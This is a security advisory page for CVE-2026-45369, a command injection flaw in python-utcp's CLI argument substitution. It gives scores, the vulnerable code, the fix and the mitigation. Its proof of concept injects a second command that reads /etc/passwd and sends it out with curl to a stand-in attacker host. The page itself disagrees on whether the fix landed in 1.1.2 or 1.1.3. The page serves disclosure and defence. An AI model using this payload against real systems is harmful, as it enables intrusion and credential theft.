CVE-2026-45369
JSON

8.3high

python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Severity
8.3high CVSS:3.1 by GitHub_M
Exploit likelihood
0.35% (higher than 21% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-33p6-5jxp-p3x4PYSEC-2026-560

Description

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

Affected

Product or packageVersionsReported by
universal-tool-calling-protocol python-utcp< 1.1.2CVE List
utcp-cli (PyPI)before 1.1.2GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M8.3high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
GitHub10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
PyPA Advisory Database10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-78

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

GitHub Advisory Database

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

NVD (es)

python-utcp es la implementación en Python de UTCP. Previo a la 1.1.3, el método _substitute_utcp_args en cli_communication_protocol.py inserta valores de tool_args controlados por el usuario directamente en cadenas de comandos de shell sin ninguna sanitización ni escape. Estos comandos se ejecutan luego a través de /bin/bash -c (Unix) o powershell.exe -Command (Windows), permitiendo a un atacante inyectar comandos de shell arbitrarios. Esta vulnerabilidad se corrige en la 1.1.3.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-45369 changed 2026-05-16CVE Terms of Use
GitHub Advisory DatabaseGHSA-33p6-5jxp-p3x4 changed 2026-06-29CC-BY-4.0
NVDCVE-2026-45369 changed 2026-10-26Public domain
PyPA Advisory DatabasePYSEC-2026-560 changed 2026-07-13CC-BY-4.0